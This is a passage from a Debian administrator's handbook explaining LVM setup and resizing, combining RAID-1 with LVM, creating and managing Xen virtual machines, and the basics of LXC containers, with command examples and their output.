ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464
The contents of these last two lines doesn't depend on the list of disks included in the volume. It is therefore not necessary to regenerate these lines when replacing a failed disk with a new one. On the other hand, care must be taken to update the file when creating or deleting a RAID array.
LVM, the Logical Volume Manager, is another approach to abstracting logical volumes from their physical supports, which focuses on increasing flexibility rather than increasing reliability. LVM allows changing a logical volume transparently as far as the applications are concerned; for instance, it is possible to add new disks, migrate the data to them, and remove the old disks, without unmounting the volume.
This flexibility is attained by a level of abstraction involving three concepts.
First, the PV (Physical Volume) is the entity closest to the hardware: it can be partitions on a disk, or a full disk, or even any other block device (including, for instance, a RAID array). Note that when a physical element is set up to be a PV for LVM, it should only be accessed via LVM, otherwise the system will get confused.
A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev
hierarchy, so there's no risk of using them directly.
The third kind of object is the LV (Logical Volume), which is a chunk of a VG; if we keep the VG-as-disk analogy, the LV compares to a partition. The LV appears as a block device with an entry in /dev
, and it can be used as any other physical partition can be (most commonly, to host a filesystem or swap space).
The important thing is that the splitting of a VG into LVs is entirely independent of its physical components (the PVs). A VG with only a single physical component (a disk for instance) can be split into a dozen logical volumes; similarly, a VG can use several physical disks and appear as a single large logical volume. The only constraint, obviously, is that the total size allocated to LVs can't be bigger than the total capacity of the PVs in the volume group.
It often makes sense, however, to have some kind of homogeneity among the physical components of a VG, and to split the VG into logical volumes that will have similar usage patterns. For instance, if the available hardware includes fast disks and slower disks, the fast ones could be clustered into one VG and the slower ones into another; chunks of the first one can then be assigned to applications requiring fast data access, while the second one will be kept for less demanding tasks.
In any case, keep in mind that an LV isn't particularly attached to any one PV. It is possible to influence where the data from an LV are physically stored, but this possibility isn't required for day-to-day use. On the contrary: when the set of physical components of a VG evolves, the physical storage locations corresponding to a particular LV can be migrated across disks (while staying within the PVs assigned to the VG, of course).
Let us now follow, step by step, the process of setting up LVM for a typical use case: we want to simplify a complex storage situation. Such a situation usually happens after some long and convoluted history of accumulated temporary measures. For the purposes of illustration, we'll consider a server where the storage needs have changed over time, ending up in a maze of available partitions split over several partially used disks. In more concrete terms, the following partitions are available:
sdb
disk, a sdb2
partition, 4 GB; sdc
disk, a sdc3
partition, 3 GB; sdd
disk, 4 GB, is fully available; sdf
disk, a sdf1
partition, 4 GB; and a sdf2
partition, 5 GB. In addition, let's assume that disks sdb
and sdf
are faster than the other two.
Our goal is to set up three logical volumes for three different applications: a file server requiring 5 GB of storage space, a database (1 GB) and some space for back-ups (12 GB). The first two need good performance, but back-ups are less critical in terms of access speed. All these constraints prevent the use of partitions on their own; using LVM can abstract the physical size of the devices, so the only limit is the total available space.
The required tools are in the lvm2 package and its dependencies. When they're installed, setting up LVM takes three steps, matching the three levels of concepts.
First, we prepare the physical volumes using pvcreate:
#
pvdisplay
#
pvcreate /dev/sdb2
Physical volume "/dev/sdb2" successfully created
#
pvdisplay
"/dev/sdb2" is a new physical volume of "4.00 GiB"
--- NEW Physical volume ---
PV Name /dev/sdb2
VG Name
PV Size 4.00 GiB
Allocatable NO
PE Size 0
Total PE 0
Free PE 0
Allocated PE 0
PV UUID 0zuiQQ-j1Oe-P593-4tsN-9FGy-TY0d-Quz31I
#
for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done
Physical volume "/dev/sdc3" successfully created
Physical volume "/dev/sdd" successfully created
Physical volume "/dev/sdf1" successfully created
Physical volume "/dev/sdf2" successfully created
#
pvdisplay -C
PV VG Fmt Attr PSize PFree
/dev/sdb2 lvm2 --- 4.00g 4.00g
/dev/sdc3 lvm2 --- 3.09g 3.09g
/dev/sdd lvm2 --- 4.00g 4.00g
/dev/sdf1 lvm2 --- 4.10g 4.10g
/dev/sdf2 lvm2 --- 5.22g 5.22g
So far, so good; note that a PV can be set up on a full disk as well as on individual partitions of it. As shown above, the pvdisplay command lists the existing PVs, with two possible output formats.
Now let's assemble these physical elements into VGs using vgcreate. We'll gather only PVs from the fast disks into a vg_critical
VG; the other VG, vg_normal
, will also include slower elements.
#
vgdisplay
No volume groups found
#
vgcreate vg_critical /dev/sdb2 /dev/sdf1
Volume group "vg_critical" successfully created
#
vgdisplay
--- Volume group ---
VG Name vg_critical
System ID
Format lvm2
Metadata Areas 2
Metadata Sequence No 1
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 0
Open LV 0
Max PV 0
Cur PV 2
Act PV 2
VG Size 8.09 GiB
PE Size 4.00 MiB
Total PE 2071
Alloc PE / Size 0 / 0
Free PE / Size 2071 / 8.09 GiB
VG UUID bpq7zO-PzPD-R7HW-V8eN-c10c-S32h-f6rKqp
#
vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2
Volume group "vg_normal" successfully created
#
vgdisplay -C
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 0 0 wz--n- 8.09g 8.09g
vg_normal 3 0 0 wz--n- 12.30g 12.30g
Here again, commands are rather straightforward (and vgdisplay proposes two output formats). Note that it is quite possible to use two partitions of the same physical disk into two different VGs. Note also that we used a vg_
prefix to name our VGs, but it is nothing more than a convention.
We now have two “virtual disks”, sized about 8 GB and 12 GB, respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:
#
lvdisplay
#
lvcreate -n lv_files -L 5G vg_critical
Logical volume "lv_files" created
#
lvdisplay
--- Logical volume ---
LV Path /dev/vg_critical/lv_files
LV Name lv_files
VG Name vg_critical
LV UUID J3V0oE-cBYO-KyDe-5e0m-3f70-nv0S-kCWbpT
LV Write Access read/write
LV Creation host, time mirwiz, 2015-06-10 06:10:50 -0400
LV Status available
# open 0
LV Size 5.00 GiB
Current LE 1280
Segments 2
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 253:0
#
lvcreate -n lv_base -L 1G vg_critical
Logical volume "lv_base" created
#
lvcreate -n lv_backups -L 12G vg_normal
Logical volume "lv_backups" created
#
lvdisplay -C
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert
lv_base vg_critical -wi-a--- 1.00g
lv_files vg_critical -wi-a--- 5.00g
lv_backups vg_normal -wi-a--- 12.00g
Two parameters are required when creating logical volumes; they must be passed to the lvcreate as options. The name of the LV to be created is specified with the -n
option, and its size is generally given using the -L
option. We also need to tell the command what VG to operate on, of course, hence the last parameter on the command line.
GOING FURTHER lvcreate options
The lvcreate command has several options to allow tweaking how the LV is created.
Let's first describe the
-l
option, with which the LV's size can be given as a number of blocks (as opposed to the “human” units we used above). These blocks (called PEs, physical extents, in LVM terms) are contiguous units of storage space in PVs, and they can't be split across LVs. When one wants to define storage space for an LV with some precision, for instance to use the full available space, the-l
option will probably be preferred over-L
.It's also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that
sdb
is faster thansdf
, we may want to store thelv_base
there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to createlv_base
beforelv_files
to avoid this situation – or free up some space onsdb2
with the pvmove command.
Logical volumes, once created, end up as block device files in /dev/mapper/
:
#
ls -l /dev/mapper
total 0
crw------- 1 root root 10, 236 Jun 10 16:52 control
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2
#
ls -l /dev/dm-*
brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0
brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1
brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2
NOTE Autodetecting LVM volumes
When the computer boots, the
lvm2-activation
systemd service unit executes vgchange -aay to “activate” the volume groups: it scans the available devices; those that have been initialized as physical volumes for LVM are registered into the LVM subsystem, those that belong to volume groups are assembled, and the relevant logical volumes are started and made available. There is therefore no need to edit configuration files when creating or modifying LVM volumes.Note, however, that the layout of the LVM elements (physical and logical volumes, and volume groups) is backed up in
/etc/lvm/backup
, which can be useful in case of a problem (or just to sneak a peek under the hood).
To make things easier, convenience symbolic links are also created in directories matching the VGs:
#
ls -l /dev/vg_critical
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0
#
ls -l /dev/vg_normal
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2
The LVs can then be used exactly like standard partitions:
#
mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 3145728 4k blocks and 786432 inodes
Filesystem UUID: b5236976-e0e2-462e-81f5-0ae835ddab1d
[...]
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
#
mkdir /srv/backups
#
mount /dev/vg_normal/lv_backups /srv/backups
#
df -h /srv/backups
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_normal-lv_backups 12G 30M 12G 1% /srv/backups
#
[...]
[...]
#
cat /etc/fstab
[...]
/dev/vg_critical/lv_base /srv/base ext4 defaults 0 2
/dev/vg_critical/lv_files /srv/files ext4 defaults 0 2
/dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2
From the applications' point of view, the myriad small partitions have now been abstracted into one large 12 GB volume, with a friendlier name.
Even though the ability to aggregate partitions or physical disks is convenient, this is not the main advantage brought by LVM. The flexibility it brings is especially noticed as time passes, when needs evolve. In our example, let's assume that new large files must be stored, and that the LV dedicated to the file server is too small to contain them. Since we haven't used the whole space available in vg_critical
, we can grow lv_files
. For that purpose, we'll use the lvresize command, then resize2fs to adapt the filesystem accordingly:
#
df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 5.0G 4.6G 146M 97% /srv/files
#
lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert
lv_files vg_critical -wi-ao-- 5.00g
#
vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 8.09g 2.09g
#
lvresize -L 7G vg_critical/lv_files
Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 7.00 GiB (1792 extents).
Logical volume lv_files successfully resized
#
lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert
lv_files vg_critical -wi-ao-- 7.00g
#
resize2fs /dev/vg_critical/lv_files
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg_critical/lv_files is now 1835008 (4k) blocks long.
#
df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 6.9G 4.6G 2.1G 70% /srv/files
CAUTION Resizing filesystems
Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It's rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).
The ext3, ext4 and xfs filesystems can be grown online, without unmounting; shrinking requires an unmount. The reiserfs filesystem allows online resizing in both directions. The venerable ext2 allows neither, and always requires unmounting.
We could proceed in a similar fashion to extend the volume hosting the database, only we've reached the VG's available space limit:
#
df -h /srv/base/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 1008M 854M 104M 90% /srv/base
#
vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 8.09g 92.00m
No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb1
partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups
. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:
#
pvcreate /dev/sdb1
Physical volume "/dev/sdb1" successfully created
#
vgextend vg_critical /dev/sdb1
Volume group "vg_critical" successfully extended
#
vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 3 2 0 wz--n- 9.09g 1.09g
#
[...]
[...]
#
df -h /srv/base/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 2.0G 854M 1.1G 45% /srv/base
GOING FURTHER Advanced LVM
LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.
RAID and LVM both bring indisputable advantages as soon as one leaves the simple case of a desktop computer with a single hard disk where the usage pattern doesn't change over time. However, RAID and LVM go in two different directions, with diverging goals, and it is legitimate to wonder which one should be adopted. The most appropriate answer will of course depend on current and foreseeable requirements.
There are a few simple cases where the question doesn't really arise. If the requirement is to safeguard data against hardware failures, then obviously RAID will be set up on a redundant array of disks, since LVM doesn't really address this problem. If, on the other hand, the need is for a flexible storage scheme where the volumes are made independent of the physical layout of the disks, RAID doesn't help much and LVM will be the natural choice.
NOTE If performance matters…
If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.
The third notable use case is when one just wants to aggregate two disks into one volume, either for performance reasons or to have a single filesystem that is larger than any of the available disks. This case can be addressed both by a RAID-0 (or even linear-RAID) and by an LVM volume. When in this situation, and barring extra constraints (for instance, keeping in line with the rest of the computers if they only use RAID), the configuration of choice will often be LVM. The initial set up is barely more complex, and that slight increase in complexity more than makes up for the extra flexibility that LVM brings if the requirements change or if new disks need to be added.
Then of course, there is the really interesting use case, where the storage system needs to be made both resistant to hardware failure and flexible when it comes to volume allocation. Neither RAID nor LVM can address both requirements on their own; no matter, this is where we use both at the same time — or rather, one on top of the other. The scheme that has all but become a standard since RAID and LVM have reached maturity is to ensure data redundancy first by grouping disks in a small number of large RAID arrays, and to use these RAID arrays as LVM physical volumes; logical partitions will then be carved from these LVs for filesystems. The selling point of this setup is that when a disk fails, only a small number of RAID arrays will need to be reconstructed, thereby limiting the time spent by the administrator for recovery.
Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited videoclips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.
RAID-1 and LVM are combined to satisfy these constraints. The disks are attached to two different SATA controllers to optimize parallel access and reduce the risk of a simultaneous failure, and they therefore appear as sda
and sdc
. They are partitioned identically along the following scheme:
#
fdisk -l /dev/sda
Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00039a9f
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 1992060 1990012 1.0G fd Linux raid autodetect
/dev/sda2 1992061 3984120 1992059 1.0G 82 Linux swap / Solaris
/dev/sda3 4000185 586099395 582099210 298G 5 Extended
/dev/sda5 4000185 203977305 199977120 102G fd Linux raid autodetect
/dev/sda6 203977306 403970490 199993184 102G fd Linux raid autodetect
/dev/sda7 403970491 586099395 182128904 93G 8e Linux LVM
md0
. This mirror is directly used to store the root filesystem. sda2
and sdc2
partitions are used as swap partitions, providing a total 2 GB of swap space. With 1 GB of RAM, the workstation has a comfortable amount of available memory. sda5
and sdc5
partitions, as well as sda6
and sdc6
, are assembled into two new RAID-1 volumes of about 100 GB each, md1
and md2
. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid
volume group. This VG thus contains about 200 GB of safe space. sda7
and sdc7
, are directly used as physical volumes, and assigned to another VG called vg_bulk
, which therefore ends up with roughly 200 GB of space. Once the VGs are created, they can be partitioned in a very flexible way. One must keep in mind that LVs created in vg_raid
will be preserved even if one of the disks fails, which will not be the case for LVs created in vg_bulk
; on the other hand, the latter will be allocated in parallel on both disks, which allows higher read or write speeds for large files.
We will therefore create the lv_usr
, lv_var
and lv_home
LVs on vg_raid
, to host the matching filesystems; another large LV, lv_movies
, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes
, for data straight out of the digital video cameras, and a lv_tmp
for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.
We now have both some redundancy for important data and much flexibility in how the available space is split across the applications. Should new software be installed later on (for editing audio clips, for instance), the LV hosting /usr/
can be grown painlessly.
NOTE Why three RAID-1 volumes?
We could have set up one RAID-1 volume only, to serve as a physical volume for
vg_raid
. Why create three of them, then?The rationale for the first split (
md0
vs. the others) is about data safety: data written to both elements of a RAID-1 mirror are exactly the same, and it is therefore possible to bypass the RAID layer and mount one of the disks directly. In case of a kernel bug, for instance, or if the LVM metadata become corrupted, it is still possible to boot a minimal system to access critical data such as the layout of disks in the RAID and LVM volumes; the metadata can then be reconstructed and the files can be accessed again, so that the system can be brought back to its nominal state.The rationale for the second split (
md1
vs.md2
) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, saymd2
, fromvg_raid
and either assign it tovg_bulk
directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup onmd2
and integrate its componentssda6
andsdc6
into the bulk VG (which grows by 200 GB instead of 100 GB); thelv_rushes
logical volume can then be grown according to requirements.
Virtualization is one of the most major advances in the recent years of computing. The term covers various abstractions and techniques simulating virtual computers with a variable degree of independence on the actual hardware. One physical server can then host several systems working at the same time and in isolation. Applications are many, and often derive from this isolation: test environments with varying configurations for instance, or separation of hosted services across different virtual machines for security.
There are multiple virtualization solutions, each with its own pros and cons. This book will focus on Xen, LXC, and KVM, but other noteworthy implementations include the following:
Xen is a “paravirtualization” solution. It introduces a thin abstraction layer, called a “hypervisor”, between the hardware and the upper systems; this acts as a referee that controls access to hardware from the virtual machines. However, it only handles a few of the instructions, the rest is directly executed by the hardware on behalf of the systems. The main advantage is that performances are not degraded, and systems run close to native speed; the drawback is that the kernels of the operating systems one wishes to use on a Xen hypervisor need to be adapted to run on Xen.
Let's spend some time on terms. The hypervisor is the lowest layer, that runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.
CULTURE Xen and the various versions of Linux
Xen was initially developed as a set of patches that lived out of the official tree, and not integrated to the Linux kernel. At the same time, several upcoming virtualization systems (including KVM) required some generic virtualization-related functions to facilitate their integration, and the Linux kernel gained this set of functions (known as the paravirt_ops or pv_ops interface). Since the Xen patches were duplicating some of the functionality of this interface, they couldn't be accepted officially.
Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.
Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.
NOTE Architectures compatible with Xen
Xen is currently only available for the i386, amd64, arm64 and armhf architectures.
CULTURE Xen and non-Linux kernels
Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:
However, if Xen can rely on the hardware functions dedicated to virtualization (which are only present in more recent processors), even non-modified operating systems can run as domU (including Windows).
Using Xen under Debian requires three components:
In order to avoid the hassle of selecting these components by hand, a few convenience packages (such as xen-linux-system-amd64) have been made available; they all pull in a known-good combination of the appropriate hypervisor and kernel packages. The hypervisor also brings xen-utils-4.4, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the Grub bootloader menu, so as to start the chosen kernel in a Xen dom0. Note however that this entry is not usually set to be the first one in the list, and will therefore not be selected by default. If that is not the desired behavior, the following commands will change it:
#
mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen
#
update-grub
Once these prerequisites are installed, the next step is to test the behavior of the dom0 by itself; this involves a reboot to the hypervisor and the Xen kernel. The system should boot in its standard fashion, with a few extra messages on the console during the early initialization steps.
Now is the time to actually install useful systems on the domU systems, using the tools from xen-tools. This package provides the xen-create-image command, which largely automates the task. The only mandatory parameter is --hostname
, giving a name to the domU; other options are important, but they can be stored in the /etc/xen-tools/xen-tools.conf
configuration file, and their absence from the command line doesn't trigger an error. It is therefore important to either check the contents of this file before creating images, or to use extra parameters in the xen-create-image invocation. Important parameters of note include the following:
--memory
, to specify the amount of RAM dedicated to the newly created system; --size
and --swap
, to define the size of the “virtual disks” available to the domU; --debootstrap
, to cause the new system to be installed with debootstrap; in that case, the --dist
option will also most often be used (with a distribution name such as jessie). GOING FURTHER Installing a non-Debian system in a domU
In case of a non-Linux system, care should be taken to define the kernel the domU must use, using the
--kernel
option.
--dhcp
states that the domU's network configuration should be obtained by DHCP while --ip
allows defining a static IP address. --dir
option, is to create one file on the dom0 for each device the domU should be provided. For systems using LVM, the alternative is to use the --lvm
option, followed by the name of a volume group; xen-create-image will then create a new logical volume inside that group, and this logical volume will be made available to the domU as a hard disk drive. NOTE Storage in the domU
Entire hard disks can also be exported to the domU, as well as partitions, RAID arrays or pre-existing LVM logical volumes. These operations are not automated by xen-create-image, however, so editing the Xen image's configuration file is in order after its initial creation with xen-create-image.
Once these choices are made, we can create the image for our future Xen domU:
#
xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=jessie --role=udev
[...]
General Information
--------------------
Hostname : testxen
Distribution : jessie
Mirror : http://ftp.debian.org/debian/
Partitions : swap 128Mb (swap)
/ 2G (ext3)
Image type : sparse
Memory size : 128Mb
Kernel path : /boot/vmlinuz-3.16.0-4-amd64
Initrd path : /boot/initrd.img-3.16.0-4-amd64
[...]
Logfile produced at:
/var/log/xen-tools/testxen.log
Installation Summary
---------------------
Hostname : testxen
Distribution : jessie
MAC Address : 00:16:3E:8E:67:5C
IP-Address(es) : dynamic
RSA Fingerprint : 0a:6e:71:98:95:46:64:ec:80:37:63:18:73:04:dd:2b
Root Password : adaX2jyRHNuWm8BDJS7PcEJ
We now have a virtual machine, but it is currently not running (and therefore only using space on the dom0's hard disk). Of course, we can create more images, possibly with different parameters.
Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces, that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:
These three networking nodes involve a number of interfaces with unusual names, such as vif*
, veth*
, peth*
and xenbr0
. The Xen hypervisor arranges them in whichever layout has been defined, under the control of the user-space tools. Since the NAT and routing models are only adapted to particular cases, we will only address the bridging model.
The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0
taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces
(which requires installing the bridge-utils package, which is why the xen-utils-4.4 package recommends it) to replace the existing eth0 entry:
After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them.
#
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 463 1 r----- 9.8
#
xl create /etc/xen/testxen.cfg
Parsing config from /etc/xen/testxen.cfg
#
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 366 1 r----- 11.4
testxen 1 128 1 -b---- 1.1
TOOL Choice of toolstacks to manage Xen VM
In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.
CAUTION Only one domU per image!
While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is however quite possible to reuse a single swap partition, or the partition hosting the
/home
filesystem.
Note that the testxen
domU uses real memory taken from the RAM that would otherwise be available to the dom0, not simulated memory. Care should therefore be taken, when building a server meant to host Xen instances, to provision the physical RAM accordingly.
Voilà! Our virtual machine is starting up. We can access it in one of two modes. The usual way is to connect to it “remotely” through the network, as we would connect to a real machine; this will usually require setting up either a DHCP server or some DNS configuration. The other way, which may be the only way if the network configuration was incorrect, is to use the hvc0
console, with the xl console command:
#
xl console testxen
[...]
Debian GNU/Linux 8 testxen hvc0
testxen login:
One can then open a session, just like one would do if sitting at the virtual machine's keyboard. Detaching from this console is achieved through the Control+] key combination.
TIP Getting the console straight away
Sometimes one wishes to start a domU system and get to its console straight away; this is why the xl create command takes a
-c
switch. Starting a domU with this switch will display all the messages as the system boots.
TOOL OpenXenManager
OpenXenManager (in the openxenmanager package) is a graphical interface allowing remote management of Xen domains via Xen's API. It can thus control Xen domains remotely. It provides most of the features of the xl command.
Once the domU is up, it can be used just like any other server (since it is a GNU/Linux system after all). However, its virtual machine status allows some extra features. For instance, a domU can be temporarily paused then resumed, with the xl pause and xl unpause commands. Note that even though a paused domU does not use any processor power, its allocated memory is still in use. It may be interesting to consider the xl save and xl restore commands: saving a domU frees the resources that were previously used by this domU, including RAM. When restored (or unpaused, for that matter), a domU doesn't even notice anything beyond the passage of time. If a domU was running when the dom0 is shut down, the packaged scripts automatically save the domU, and restore it on the next boot. This will of course involve the standard inconvenience incurred when hibernating a laptop computer, for instance; in particular, if the domU is suspended for too long, network connections may expire. Note also that Xen is so far incompatible with a large part of ACPI power management, which precludes suspending the host (dom0) system.
DOCUMENTATION xl options
Most of the xl subcommands expect one or more arguments, often a domU name. These arguments are well described in the xl(1) manual page.
Halting or rebooting a domU can be done either from within the domU (with the shutdown command) or from the dom0, with xl shutdown or xl reboot.
GOING FURTHER Advanced Xen
Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.
Even though it is used to build “virtual machines”, LXC is not, strictly speaking, a virtualization system, but a system to isolate groups of processes from each other even though they all run on the same host. It takes advantage of a set of recent evolutions in the Linux kernel, collectively known as control groups, by which different sets of processes called “groups” have different views of certain aspects of the overall system. Most notable among these aspects are the process identifiers, the network configuration, and the mount points. Such a group of isolated processes will not have any access to the other processes in the system, and its accesses to the filesystem can be restricted to a specific subset. It can also have its own network interface and routing table, and it may be configured to only see a subset of the available devices present on the system.
These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there's no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).
NOTE LXC isolation limits
LXC containers do not provide the level of isolation achieved by heavier emulators or virtualizers. In particular:
- since the kernel is shared among the host system and the containers, processes constrained to containers can still access the kernel messages, which can lead to information leaks if messages are emitted by a container;
- for similar reasons, if a container is compromised and a kernel vulnerability is exploited, the other containers may be affected too;
